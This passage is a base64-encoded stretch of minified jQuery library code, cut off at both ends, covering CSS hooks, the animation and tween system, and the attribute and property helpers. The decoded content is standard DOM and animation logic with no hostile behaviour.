wiIiE9PW58fDAhPT10LmluZGV4T2YoImJhY2tncm91bmQiKXx8KGxbdF09ImluaGVyaXQiKSxhJiYic2V0ImluIGEmJnZvaWQgMD09PShuPWEuc2V0KGUsbixyKSl8fCh1P2wuc2V0UHJvcGVydHkodCxuKTpsW3RdPW4pKX19LGNzczpmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1YKHQpO3JldHVybiBHZS50ZXN0KHQpfHwodD1YZShzKSksKGE9Uy5jc3NIb29rc1t0XXx8Uy5jc3NIb29rc1tzXSkmJiJnZXQiaW4gYSYmKGk9YS5nZXQoZSwhMCxuKSksdm9pZCAwPT09aSYmKGk9QmUoZSx0LHIpKSwibm9ybWFsIj09PWkmJnQgaW4gUWUmJihpPVFlW3RdKSwiIj09PW58fG4/KG89cGFyc2VGbG9hdChpKSwhMD09PW58fGlzRmluaXRlKG8pP298fDA6aSk6aX19KSxTLmVhY2goWyJoZWlnaHQiLCJ3aWR0aCJdLGZ1bmN0aW9uKGUsdSl7Uy5jc3NIb29rc1t1XT17Z2V0OmZ1bmN0aW9uKGUsdCxuKXtpZih0KXJldHVybiFWZS50ZXN0KFMuY3NzKGUsImRpc3BsYXkiKSl8fGUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgmJmUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkud2lkdGg/WmUoZSx1LG4pOldlKGUsWWUsZnVuY3Rpb24oKXtyZXR1cm4gWmUoZSx1LG4pfSl9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT1JZShlKSxvPSF5LnNjcm9sbGJveFNpemUoKSYmImFic29sdXRlIj09PWkucG9zaXRpb24sYT0ob3x8bikmJiJib3JkZXItYm94Ij09PVMuY3NzKGUsImJveFNpemluZyIsITEsaSkscz1uP0tlKGUsdSxuLGEsaSk6MDtyZXR1cm4gYSYmbyYmKHMtPU1hdGguY2VpbChlWyJvZmZzZXQiK3VbMF0udG9VcHBlckNhc2UoKSt1LnNsaWNlKDEpXS1wYXJzZUZsb2F0KGlbdV0pLUtlKGUsdSwiYm9yZGVyIiwhMSxpKS0uNSkpLHMmJihyPXRlLmV4ZWModCkpJiYicHgiIT09KHJbM118fCJweCIpJiYoZS5zdHlsZVt1XT10LHQ9Uy5jc3MoZSx1KSksSmUoMCx0LHMpfX19KSxTLmNzc0hvb2tzLm1hcmdpbkxlZnQ9JGUoeS5yZWxpYWJsZU1hcmdpbkxlZnQsZnVuY3Rpb24oZSx0KXtpZih0KXJldHVybihwYXJzZUZsb2F0KEJlKGUsIm1hcmdpbkxlZnQiKSl8fGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkubGVmdC1XZShlLHttYXJnaW5MZWZ0OjB9LGZ1bmN0aW9uKCl7cmV0dXJuIGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkubGVmdH0pKSsicHgifSksUy5lYWNoKHttYXJnaW46IiIscGFkZGluZzoiIixib3JkZXI6IldpZHRoIn0sZnVuY3Rpb24oaSxvKXtTLmNzc0hvb2tzW2krb109e2V4cGFuZDpmdW5jdGlvbihlKXtmb3IodmFyIHQ9MCxuPXt9LHI9InN0cmluZyI9PXR5cGVvZiBlP2Uuc3BsaXQoIiAiKTpbZV07dDw0O3QrKyluW2krbmVbdF0rb109clt0XXx8clt0LTJdfHxyWzBdO3JldHVybiBufX0sIm1hcmdpbiIhPT1pJiYoUy5jc3NIb29rc1tpK29dLnNldD1KZSl9KSxTLmZuLmV4dGVuZCh7Y3NzOmZ1bmN0aW9uKGUsdCl7cmV0dXJuICQodGhpcyxmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPXt9LGE9MDtpZihBcnJheS5pc0FycmF5KHQpKXtmb3Iocj1JZShlKSxpPXQubGVuZ3RoO2E8aTthKyspb1t0W2FdXT1TLmNzcyhlLHRbYV0sITEscik7cmV0dXJuIG99cmV0dXJuIHZvaWQgMCE9PW4/Uy5zdHlsZShlLHQsbik6Uy5jc3MoZSx0KX0sZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9fSksKChTLlR3ZWVuPWV0KS5wcm90b3R5cGU9e2NvbnN0cnVjdG9yOmV0LGluaXQ6ZnVuY3Rpb24oZSx0LG4scixpLG8pe3RoaXMuZWxlbT1lLHRoaXMucHJvcD1uLHRoaXMuZWFzaW5nPWl8fFMuZWFzaW5nLl9kZWZhdWx0LHRoaXMub3B0aW9ucz10LHRoaXMuc3RhcnQ9dGhpcy5ub3c9dGhpcy5jdXIoKSx0aGlzLmVuZD1yLHRoaXMudW5pdD1vfHwoUy5jc3NOdW1iZXJbbl0/IiI6InB4Iil9LGN1cjpmdW5jdGlvbigpe3ZhciBlPWV0LnByb3BIb29rc1t0aGlzLnByb3BdO3JldHVybiBlJiZlLmdldD9lLmdldCh0aGlzKTpldC5wcm9wSG9va3MuX2RlZmF1bHQuZ2V0KHRoaXMpfSxydW46ZnVuY3Rpb24oZSl7dmFyIHQsbj1ldC5wcm9wSG9va3NbdGhpcy5wcm9wXTtyZXR1cm4gdGhpcy5vcHRpb25zLmR1cmF0aW9uP3RoaXMucG9zPXQ9Uy5lYXNpbmdbdGhpcy5lYXNpbmddKGUsdGhpcy5vcHRpb25zLmR1cmF0aW9uKmUsMCwxLHRoaXMub3B0aW9ucy5kdXJhdGlvbik6dGhpcy5wb3M9dD1lLHRoaXMubm93PSh0aGlzLmVuZC10aGlzLnN0YXJ0KSp0K3RoaXMuc3RhcnQsdGhpcy5vcHRpb25zLnN0ZXAmJnRoaXMub3B0aW9ucy5zdGVwLmNhbGwodGhpcy5lbGVtLHRoaXMubm93LHRoaXMpLG4mJm4uc2V0P24uc2V0KHRoaXMpOmV0LnByb3BIb29rcy5fZGVmYXVsdC5zZXQodGhpcyksdGhpc319KS5pbml0LnByb3RvdHlwZT1ldC5wcm90b3R5cGUsKGV0LnByb3BIb29rcz17X2RlZmF1bHQ6e2dldDpmdW5jdGlvbihlKXt2YXIgdDtyZXR1cm4gMSE9PWUuZWxlbS5ub2RlVHlwZXx8bnVsbCE9ZS5lbGVtW2UucHJvcF0mJm51bGw9PWUuZWxlbS5zdHlsZVtlLnByb3BdP2UuZWxlbVtlLnByb3BdOih0PVMuY3NzKGUuZWxlbSxlLnByb3AsIiIpKSYmImF1dG8iIT09dD90OjB9LHNldDpmdW5jdGlvbihlKXtTLmZ4LnN0ZXBbZS5wcm9wXT9TLmZ4LnN0ZXBbZS5wcm9wXShlKToxIT09ZS5lbGVtLm5vZGVUeXBlfHwhUy5jc3NIb29rc1tlLnByb3BdJiZudWxsPT1lLmVsZW0uc3R5bGVbWGUoZS5wcm9wKV0/ZS5lbGVtW2UucHJvcF09ZS5ub3c6Uy5zdHlsZShlLmVsZW0sZS5wcm9wLGUubm93K2UudW5pdCl9fX0pLnNjcm9sbFRvcD1ldC5wcm9wSG9va3Muc2Nyb2xsTGVmdD17c2V0OmZ1bmN0aW9uKGUpe2UuZWxlbS5ub2RlVHlwZSYmZS5lbGVtLnBhcmVudE5vZGUmJihlLmVsZW1bZS5wcm9wXT1lLm5vdyl9fSxTLmVhc2luZz17bGluZWFyOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxzd2luZzpmdW5jdGlvbihlKXtyZXR1cm4uNS1NYXRoLmNvcyhlKk1hdGguUEkpLzJ9LF9kZWZhdWx0OiJzd2luZyJ9LFMuZng9ZXQucHJvdG90eXBlLmluaXQsUy5meC5zdGVwPXt9O3ZhciB0dCxudCxydCxpdCxvdD0vXig/OnRvZ2dsZXxzaG93fGhpZGUpJC8sYXQ9L3F1ZXVlSG9va3MkLztmdW5jdGlvbiBzdCgpe250JiYoITE9PT1FLmhpZGRlbiYmQy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWU/Qy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWUoc3QpOkMuc2V0VGltZW91dChzdCxTLmZ4LmludGVydmFsKSxTLmZ4LnRpY2soKSl9ZnVuY3Rpb24gdXQoKXtyZXR1cm4gQy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dHQ9dm9pZCAwfSksdHQ9RGF0ZS5ub3coKX1mdW5jdGlvbiBsdChlLHQpe3ZhciBuLHI9MCxpPXtoZWlnaHQ6ZX07Zm9yKHQ9dD8xOjA7cjw0O3IrPTItdClpWyJtYXJnaW4iKyhuPW5lW3JdKV09aVsicGFkZGluZyIrbl09ZTtyZXR1cm4gdCYmKGkub3BhY2l0eT1pLndpZHRoPWUpLGl9ZnVuY3Rpb24gY3QoZSx0LG4pe2Zvcih2YXIgcixpPShmdC50d2VlbmVyc1t0XXx8W10pLmNvbmNhdChmdC50d2VlbmVyc1siKiJdKSxvPTAsYT1pLmxlbmd0aDtvPGE7bysrKWlmKHI9aVtvXS5jYWxsKG4sdCxlKSlyZXR1cm4gcn1mdW5jdGlvbiBmdChvLGUsdCl7dmFyIG4sYSxyPTAsaT1mdC5wcmVmaWx0ZXJzLmxlbmd0aCxzPVMuRGVmZXJyZWQoKS5hbHdheXMoZnVuY3Rpb24oKXtkZWxldGUgdS5lbGVtfSksdT1mdW5jdGlvbigpe2lmKGEpcmV0dXJuITE7Zm9yKHZhciBlPXR0fHx1dCgpLHQ9TWF0aC5tYXgoMCxsLnN0YXJ0VGltZStsLmR1cmF0aW9uLWUpLG49MS0odC9sLmR1cmF0aW9ufHwwKSxyPTAsaT1sLnR3ZWVucy5sZW5ndGg7cjxpO3IrKylsLnR3ZWVuc1tyXS5ydW4obik7cmV0dXJuIHMubm90aWZ5V2l0aChvLFtsLG4sdF0pLG48MSYmaT90OihpfHxzLm5vdGlmeVdpdGgobyxbbCwxLDBdKSxzLnJlc29sdmVXaXRoKG8sW2xdKSwhMSl9LGw9cy5wcm9taXNlKHtlbGVtOm8scHJvcHM6Uy5leHRlbmQoe30sZSksb3B0czpTLmV4dGVuZCghMCx7c3BlY2lhbEVhc2luZzp7fSxlYXNpbmc6Uy5lYXNpbmcuX2RlZmF1bHR9LHQpLG9yaWdpbmFsUHJvcGVydGllczplLG9yaWdpbmFsT3B0aW9uczp0LHN0YXJ0VGltZTp0dHx8dXQoKSxkdXJhdGlvbjp0LmR1cmF0aW9uLHR3ZWVuczpbXSxjcmVhdGVUd2VlbjpmdW5jdGlvbihlLHQpe3ZhciBuPVMuVHdlZW4obyxsLm9wdHMsZSx0LGwub3B0cy5zcGVjaWFsRWFzaW5nW2VdfHxsLm9wdHMuZWFzaW5nKTtyZXR1cm4gbC50d2VlbnMucHVzaChuKSxufSxzdG9wOmZ1bmN0aW9uKGUpe3ZhciB0PTAsbj1lP2wudHdlZW5zLmxlbmd0aDowO2lmKGEpcmV0dXJuIHRoaXM7Zm9yKGE9ITA7dDxuO3QrKylsLnR3ZWVuc1t0XS5ydW4oMSk7cmV0dXJuIGU/KHMubm90aWZ5V2l0aChvLFtsLDEsMF0pLHMucmVzb2x2ZVdpdGgobyxbbCxlXSkpOnMucmVqZWN0V2l0aChvLFtsLGVdKSx0aGlzfX0pLGM9bC5wcm9wcztmb3IoIWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYTtmb3IobiBpbiBlKWlmKGk9dFtyPVgobildLG89ZVtuXSxBcnJheS5pc0FycmF5KG8pJiYoaT1vWzFdLG89ZVtuXT1vWzBdKSxuIT09ciYmKGVbcl09byxkZWxldGUgZVtuXSksKGE9Uy5jc3NIb29rc1tyXSkmJiJleHBhbmQiaW4gYSlmb3IobiBpbiBvPWEuZXhwYW5kKG8pLGRlbGV0ZSBlW3JdLG8pbiBpbiBlfHwoZVtuXT1vW25dLHRbbl09aSk7ZWxzZSB0W3JdPWl9KGMsbC5vcHRzLnNwZWNpYWxFYXNpbmcpO3I8aTtyKyspaWYobj1mdC5wcmVmaWx0ZXJzW3JdLmNhbGwobCxvLGMsbC5vcHRzKSlyZXR1cm4gbShuLnN0b3ApJiYoUy5fcXVldWVIb29rcyhsLmVsZW0sbC5vcHRzLnF1ZXVlKS5zdG9wPW4uc3RvcC5iaW5kKG4pKSxuO3JldHVybiBTLm1hcChjLGN0LGwpLG0obC5vcHRzLnN0YXJ0KSYmbC5vcHRzLnN0YXJ0LmNhbGwobyxsKSxsLnByb2dyZXNzKGwub3B0cy5wcm9ncmVzcykuZG9uZShsLm9wdHMuZG9uZSxsLm9wdHMuY29tcGxldGUpLmZhaWwobC5vcHRzLmZhaWwpLmFsd2F5cyhsLm9wdHMuYWx3YXlzKSxTLmZ4LnRpbWVyKFMuZXh0ZW5kKHUse2VsZW06byxhbmltOmwscXVldWU6bC5vcHRzLnF1ZXVlfSkpLGx9Uy5BbmltYXRpb249Uy5leHRlbmQoZnQse3R3ZWVuZXJzOnsiKiI6W2Z1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5jcmVhdGVUd2VlbihlLHQpO3JldHVybiBzZShuLmVsZW0sZSx0ZS5leGVjKHQpLG4pLG59XX0sdHdlZW5lcjpmdW5jdGlvbihlLHQpe20oZSk/KHQ9ZSxlPVsiKiJdKTplPWUubWF0Y2goUCk7Zm9yKHZhciBuLHI9MCxpPWUubGVuZ3RoO3I8aTtyKyspbj1lW3JdLGZ0LnR3ZWVuZXJzW25dPWZ0LnR3ZWVuZXJzW25dfHxbXSxmdC50d2VlbmVyc1tuXS51bnNoaWZ0KHQpfSxwcmVmaWx0ZXJzOltmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGwsYyxmPSJ3aWR0aCJpbiB0fHwiaGVpZ2h0ImluIHQscD10aGlzLGQ9e30saD1lLnN0eWxlLGc9ZS5ub2RlVHlwZSYmYWUoZSksdj1ZLmdldChlLCJmeHNob3ciKTtmb3IociBpbiBuLnF1ZXVlfHwobnVsbD09KGE9Uy5fcXVldWVIb29rcyhlLCJmeCIpKS51bnF1ZXVlZCYmKGEudW5xdWV1ZWQ9MCxzPWEuZW1wdHkuZmlyZSxhLmVtcHR5LmZpcmU9ZnVuY3Rpb24oKXthLnVucXVldWVkfHxzKCl9KSxhLnVucXVldWVkKysscC5hbHdheXMoZnVuY3Rpb24oKXtwLmFsd2F5cyhmdW5jdGlvbigpe2EudW5xdWV1ZWQtLSxTLnF1ZXVlKGUsImZ4IikubGVuZ3RofHxhLmVtcHR5LmZpcmUoKX0pfSkpLHQpaWYoaT10W3JdLG90LnRlc3QoaSkpe2lmKGRlbGV0ZSB0W3JdLG89b3x8InRvZ2dsZSI9PT1pLGk9PT0oZz8iaGlkZSI6InNob3ciKSl7aWYoInNob3ciIT09aXx8IXZ8fHZvaWQgMD09PXZbcl0pY29udGludWU7Zz0hMH1kW3JdPXYmJnZbcl18fFMuc3R5bGUoZSxyKX1pZigodT0hUy5pc0VtcHR5T2JqZWN0KHQpKXx8IVMuaXNFbXB0eU9iamVjdChkKSlmb3IociBpbiBmJiYxPT09ZS5ub2RlVHlwZSYmKG4ub3ZlcmZsb3c9W2gub3ZlcmZsb3csaC5vdmVyZmxvd1gsaC5vdmVyZmxvd1ldLG51bGw9PShsPXYmJnYuZGlzcGxheSkmJihsPVkuZ2V0KGUsImRpc3BsYXkiKSksIm5vbmUiPT09KGM9Uy5jc3MoZSwiZGlzcGxheSIpKSYmKGw/Yz1sOihsZShbZV0sITApLGw9ZS5zdHlsZS5kaXNwbGF5fHxsLGM9Uy5jc3MoZSwiZGlzcGxheSIpLGxlKFtlXSkpKSwoImlubGluZSI9PT1jfHwiaW5saW5lLWJsb2NrIj09PWMmJm51bGwhPWwpJiYibm9uZSI9PT1TLmNzcyhlLCJmbG9hdCIpJiYodXx8KHAuZG9uZShmdW5jdGlvbigpe2guZGlzcGxheT1sfSksbnVsbD09bCYmKGM9aC5kaXNwbGF5LGw9Im5vbmUiPT09Yz8iIjpjKSksaC5kaXNwbGF5PSJpbmxpbmUtYmxvY2siKSksbi5vdmVyZmxvdyYmKGgub3ZlcmZsb3c9ImhpZGRlbiIscC5hbHdheXMoZnVuY3Rpb24oKXtoLm92ZXJmbG93PW4ub3ZlcmZsb3dbMF0saC5vdmVyZmxvd1g9bi5vdmVyZmxvd1sxXSxoLm92ZXJmbG93WT1uLm92ZXJmbG93WzJdfSkpLHU9ITEsZCl1fHwodj8iaGlkZGVuImluIHYmJihnPXYuaGlkZGVuKTp2PVkuYWNjZXNzKGUsImZ4c2hvdyIse2Rpc3BsYXk6bH0pLG8mJih2LmhpZGRlbj0hZyksZyYmbGUoW2VdLCEwKSxwLmRvbmUoZnVuY3Rpb24oKXtmb3IociBpbiBnfHxsZShbZV0pLFkucmVtb3ZlKGUsImZ4c2hvdyIpLGQpUy5zdHlsZShlLHIsZFtyXSl9KSksdT1jdChnP3Zbcl06MCxyLHApLHIgaW4gdnx8KHZbcl09dS5zdGFydCxnJiYodS5lbmQ9dS5zdGFydCx1LnN0YXJ0PTApKX1dLHByZWZpbHRlcjpmdW5jdGlvbihlLHQpe3Q/ZnQucHJlZmlsdGVycy51bnNoaWZ0KGUpOmZ0LnByZWZpbHRlcnMucHVzaChlKX19KSxTLnNwZWVkPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1lJiYib2JqZWN0Ij09dHlwZW9mIGU/Uy5leHRlbmQoe30sZSk6e2NvbXBsZXRlOm58fCFuJiZ0fHxtKGUpJiZlLGR1cmF0aW9uOmUsZWFzaW5nOm4mJnR8fHQmJiFtKHQpJiZ0fTtyZXR1cm4gUy5meC5vZmY/ci5kdXJhdGlvbj0wOiJudW1iZXIiIT10eXBlb2Ygci5kdXJhdGlvbiYmKHIuZHVyYXRpb24gaW4gUy5meC5zcGVlZHM/ci5kdXJhdGlvbj1TLmZ4LnNwZWVkc1tyLmR1cmF0aW9uXTpyLmR1cmF0aW9uPVMuZnguc3BlZWRzLl9kZWZhdWx0KSxudWxsIT1yLnF1ZXVlJiYhMCE9PXIucXVldWV8fChyLnF1ZXVlPSJmeCIpLHIub2xkPXIuY29tcGxldGUsci5jb21wbGV0ZT1mdW5jdGlvbigpe20oci5vbGQpJiZyLm9sZC5jYWxsKHRoaXMpLHIucXVldWUmJlMuZGVxdWV1ZSh0aGlzLHIucXVldWUpfSxyfSxTLmZuLmV4dGVuZCh7ZmFkZVRvOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLmZpbHRlcihhZSkuY3NzKCJvcGFjaXR5IiwwKS5zaG93KCkuZW5kKCkuYW5pbWF0ZSh7b3BhY2l0eTp0fSxlLG4scil9LGFuaW1hdGU6ZnVuY3Rpb24odCxlLG4scil7dmFyIGk9Uy5pc0VtcHR5T2JqZWN0KHQpLG89Uy5zcGVlZChlLG4sciksYT1mdW5jdGlvbigpe3ZhciBlPWZ0KHRoaXMsUy5leHRlbmQoe30sdCksbyk7KGl8fFkuZ2V0KHRoaXMsImZpbmlzaCIpKSYmZS5zdG9wKCEwKX07cmV0dXJuIGEuZmluaXNoPWEsaXx8ITE9PT1vLnF1ZXVlP3RoaXMuZWFjaChhKTp0aGlzLnF1ZXVlKG8ucXVldWUsYSl9LHN0b3A6ZnVuY3Rpb24oaSxlLG8pe3ZhciBhPWZ1bmN0aW9uKGUpe3ZhciB0PWUuc3RvcDtkZWxldGUgZS5zdG9wLHQobyl9O3JldHVybiJzdHJpbmciIT10eXBlb2YgaSYmKG89ZSxlPWksaT12b2lkIDApLGUmJnRoaXMucXVldWUoaXx8ImZ4IixbXSksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9ITAsdD1udWxsIT1pJiZpKyJxdWV1ZUhvb2tzIixuPVMudGltZXJzLHI9WS5nZXQodGhpcyk7aWYodClyW3RdJiZyW3RdLnN0b3AmJmEoclt0XSk7ZWxzZSBmb3IodCBpbiByKXJbdF0mJnJbdF0uc3RvcCYmYXQudGVzdCh0KSYmYShyW3RdKTtmb3IodD1uLmxlbmd0aDt0LS07KW5bdF0uZWxlbSE9PXRoaXN8fG51bGwhPWkmJm5bdF0ucXVldWUhPT1pfHwoblt0XS5hbmltLnN0b3AobyksZT0hMSxuLnNwbGljZSh0LDEpKTshZSYmb3x8Uy5kZXF1ZXVlKHRoaXMsaSl9KX0sZmluaXNoOmZ1bmN0aW9uKGEpe3JldHVybiExIT09YSYmKGE9YXx8ImZ4IiksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGUsdD1ZLmdldCh0aGlzKSxuPXRbYSsicXVldWUiXSxyPXRbYSsicXVldWVIb29rcyJdLGk9Uy50aW1lcnMsbz1uP24ubGVuZ3RoOjA7Zm9yKHQuZmluaXNoPSEwLFMucXVldWUodGhpcyxhLFtdKSxyJiZyLnN0b3AmJnIuc3RvcC5jYWxsKHRoaXMsITApLGU9aS5sZW5ndGg7ZS0tOylpW2VdLmVsZW09PT10aGlzJiZpW2VdLnF1ZXVlPT09YSYmKGlbZV0uYW5pbS5zdG9wKCEwKSxpLnNwbGljZShlLDEpKTtmb3IoZT0wO2U8bztlKyspbltlXSYmbltlXS5maW5pc2gmJm5bZV0uZmluaXNoLmNhbGwodGhpcyk7ZGVsZXRlIHQuZmluaXNofSl9fSksUy5lYWNoKFsidG9nZ2xlIiwic2hvdyIsImhpZGUiXSxmdW5jdGlvbihlLHIpe3ZhciBpPVMuZm5bcl07Uy5mbltyXT1mdW5jdGlvbihlLHQsbil7cmV0dXJuIG51bGw9PWV8fCJib29sZWFuIj09dHlwZW9mIGU/aS5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5hbmltYXRlKGx0KHIsITApLGUsdCxuKX19KSxTLmVhY2goe3NsaWRlRG93bjpsdCgic2hvdyIpLHNsaWRlVXA6bHQoImhpZGUiKSxzbGlkZVRvZ2dsZTpsdCgidG9nZ2xlIiksZmFkZUluOntvcGFjaXR5OiJzaG93In0sZmFkZU91dDp7b3BhY2l0eToiaGlkZSJ9LGZhZGVUb2dnbGU6e29wYWNpdHk6InRvZ2dsZSJ9fSxmdW5jdGlvbihlLHIpe1MuZm5bZV09ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0aGlzLmFuaW1hdGUocixlLHQsbil9fSksUy50aW1lcnM9W10sUy5meC50aWNrPWZ1bmN0aW9uKCl7dmFyIGUsdD0wLG49Uy50aW1lcnM7Zm9yKHR0PURhdGUubm93KCk7dDxuLmxlbmd0aDt0KyspKGU9blt0XSkoKXx8blt0XSE9PWV8fG4uc3BsaWNlKHQtLSwxKTtuLmxlbmd0aHx8Uy5meC5zdG9wKCksdHQ9dm9pZCAwfSxTLmZ4LnRpbWVyPWZ1bmN0aW9uKGUpe1MudGltZXJzLnB1c2goZSksUy5meC5zdGFydCgpfSxTLmZ4LmludGVydmFsPTEzLFMuZnguc3RhcnQ9ZnVuY3Rpb24oKXtudHx8KG50PSEwLHN0KCkpfSxTLmZ4LnN0b3A9ZnVuY3Rpb24oKXtudD1udWxsfSxTLmZ4LnNwZWVkcz17c2xvdzo2MDAsZmFzdDoyMDAsX2RlZmF1bHQ6NDAwfSxTLmZuLmRlbGF5PWZ1bmN0aW9uKHIsZSl7cmV0dXJuIHI9Uy5meCYmUy5meC5zcGVlZHNbcl18fHIsZT1lfHwiZngiLHRoaXMucXVldWUoZSxmdW5jdGlvbihlLHQpe3ZhciBuPUMuc2V0VGltZW91dChlLHIpO3Quc3RvcD1mdW5jdGlvbigpe0MuY2xlYXJUaW1lb3V0KG4pfX0pfSxydD1FLmNyZWF0ZUVsZW1lbnQoImlucHV0IiksaXQ9RS5jcmVhdGVFbGVtZW50KCJzZWxlY3QiKS5hcHBlbmRDaGlsZChFLmNyZWF0ZUVsZW1lbnQoIm9wdGlvbiIpKSxydC50eXBlPSJjaGVja2JveCIseS5jaGVja09uPSIiIT09cnQudmFsdWUseS5vcHRTZWxlY3RlZD1pdC5zZWxlY3RlZCwocnQ9RS5jcmVhdGVFbGVtZW50KCJpbnB1dCIpKS52YWx1ZT0idCIscnQudHlwZT0icmFkaW8iLHkucmFkaW9WYWx1ZT0idCI9PT1ydC52YWx1ZTt2YXIgcHQsZHQ9Uy5leHByLmF0dHJIYW5kbGU7Uy5mbi5leHRlbmQoe2F0dHI6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gJCh0aGlzLFMuYXR0cixlLHQsMTxhcmd1bWVudHMubGVuZ3RoKX0scmVtb3ZlQXR0cjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7Uy5yZW1vdmVBdHRyKHRoaXMsZSl9KX19KSxTLmV4dGVuZCh7YXR0cjpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPWUubm9kZVR5cGU7aWYoMyE9PW8mJjghPT1vJiYyIT09bylyZXR1cm4idW5kZWZpbmVkIj09dHlwZW9mIGUuZ2V0QXR0cmlidXRlP1MucHJvcChlLHQsbik6KDE9PT1vJiZTLmlzWE1MRG9jKGUpfHwoaT1TLmF0dHJIb29rc1t0LnRvTG93ZXJDYXNlKCldfHwoUy5leHByLm1hdGNoLmJvb2wudGVzdCh0KT9wdDp2b2lkIDApKSx2b2lkIDAhPT1uP251bGw9PT1uP3ZvaWQgUy5yZW1vdmVBdHRyKGUsdCk6aSYmInNldCJpbiBpJiZ2b2lkIDAhPT0ocj1pLnNldChlLG4sdCkpP3I6KGUuc2V0QXR0cmlidXRlKHQsbisiIiksbik6aSYmImdldCJpbiBpJiZudWxsIT09KHI9aS5nZXQoZSx0KSk/cjpudWxsPT0ocj1TLmZpbmQuYXR0cihlLHQpKT92b2lkIDA6cil9LGF0dHJIb29rczp7dHlwZTp7c2V0OmZ1bmN0aW9uKGUsdCl7aWYoIXkucmFkaW9WYWx1ZSYmInJhZGlvIj09PXQmJkEoZSwiaW5wdXQiKSl7dmFyIG49ZS52YWx1ZTtyZXR1cm4gZS5zZXRBdHRyaWJ1dGUoInR5cGUiLHQpLG4mJihlLnZhbHVlPW4pLHR9fX19LHJlbW92ZUF0dHI6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10JiZ0Lm1hdGNoKFApO2lmKGkmJjE9PT1lLm5vZGVUeXBlKXdoaWxlKG49aVtyKytdKWUucmVtb3ZlQXR0cmlidXRlKG4pfX0pLHB0PXtzZXQ6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiExPT09dD9TLnJlbW92ZUF0dHIoZSxuKTplLnNldEF0dHJpYnV0ZShuLG4pLG59fSxTLmVhY2goUy5leHByLm1hdGNoLmJvb2wuc291cmNlLm1hdGNoKC9cdysvZyksZnVuY3Rpb24oZSx0KXt2YXIgYT1kdFt0XXx8Uy5maW5kLmF0dHI7ZHRbdF09ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz10LnRvTG93ZXJDYXNlKCk7cmV0dXJuIG58fChpPWR0W29dLGR0W29dPXIscj1udWxsIT1hKGUsdCxuKT9vOm51bGwsZHRbb109aSkscn19KTt2YXIgaHQ9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWF8YnV0dG9uKSQvaSxndD0vXig/OmF8YXJlYSkkL2k7ZnVuY3Rpb24gdnQoZSl7cmV0dXJuKGUubWF0Y2goUCl8fFtdKS5qb2luKCIgIil9ZnVuY3Rpb24geXQoZSl7cmV0dXJuIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiJ9ZnVuY3Rpb24gbXQoZSl7cmV0dXJuIEFycmF5LmlzQXJyYXkoZSk/ZToic3RyaW5nIj09dHlwZW9mIGUmJmUubWF0Y2goUCl8fFtdfVMuZm4uZXh0ZW5kKHtwcm9wOmZ1bmN0aW9uKGUsdCl7cmV0dXJuICQodGhpcyxTLnByb3AsZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9LHJlbW92ZVByb3A6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe2RlbGV0ZSB0aGlzW1MucHJvcEZpeFtlXXx8ZV19KX19KSxTLmV4dGVuZCh7cHJvcDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPWUubm9kZVR5cGU7aWYoMyE9PW8mJjghPT1vJiYyIT09bylyZXR1cm4gMT09PW8mJlMuaXNYTUxEb2MoZSl8fCh0PVMucHJvcEZpeFt0XXx8dCxpPVMucHJvcEhvb2tzW3RdKSx2b2lkIDAhPT1uP2kmJiJzZXQiaW4gaSYmdm9pZCAwIT09KHI9aS5zZXQoZSxuLHQpKT9yOmVbdF09bjppJiYiZ2V0ImluIGkmJm51bGwhPT0ocj1pLmdldChlLHQpKT9yOmVbdF19LHByb3BIb29rczp7dGFiSW5kZXg6e2dldDpmdW5jdGlvbihlKXt2YXIgdD1TLmZpbmQuYXR0cihlLCJ0YWJpbmRleCIpO3JldHVybiB0P3BhcnNlSW50KHQsMTApOmh0LnRlc3QoZS5ub2RlTmFtZSl8fGd0LnRlc3QoZS5ub2RlTmFtZSkmJmUuaHJlZj8wOi0xfX19LHByb3BGaXg6eyJmb3IiOiJodG1sRm9yIiwiY2xhc3MiOiJjbGFzc05hbWUifX0pLHkub3B0U2VsZWN0ZWR8fChTLnByb3BIb29rcy5zZWxlY3RlZD17Z2V0OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmdC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCxudWxsfSxzZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5wYXJlbnROb2RlO3QmJih0LnNlbGVjdGVkSW5kZXgsdC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCl9fSksUy5lYWNoKFsidGFiSW5kZXgiLCJyZWFkT25seSIsIm1heExlbmd0aCIsImNlbGxTcGFjaW5nIiwiY2VsbFBhZ